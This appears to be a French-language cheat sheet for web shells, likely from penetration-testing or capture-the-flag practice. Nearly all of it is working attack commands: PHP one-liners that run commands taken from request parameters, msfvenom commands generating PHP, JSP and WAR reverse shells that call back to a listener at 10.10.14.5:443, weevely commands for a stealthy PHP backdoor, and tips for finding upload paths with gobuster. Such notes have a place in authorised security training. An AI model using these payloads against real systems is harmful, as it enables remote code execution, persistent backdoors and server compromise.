sommaire
PHP
<?php system($_GET['cmd']); ?> -> http://site/sh.php?cmd=id
<?php echo shell_exec($_REQUEST['c']); ?>
echo '<?php system($_GET["cmd"]); ?>' > sh.php
msfvenom (selon la techno)
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o sh.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f raw -o sh.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o sh.war # Tomcat
Weevely (PHP furtif) & emplacements
weevely generate motdepasse sh.php
weevely http://site/uploads/sh.php motdepasse
# webshells prets : /usr/share/webshells/ (kali). Retrouver le chemin d'upload avec gobuster.
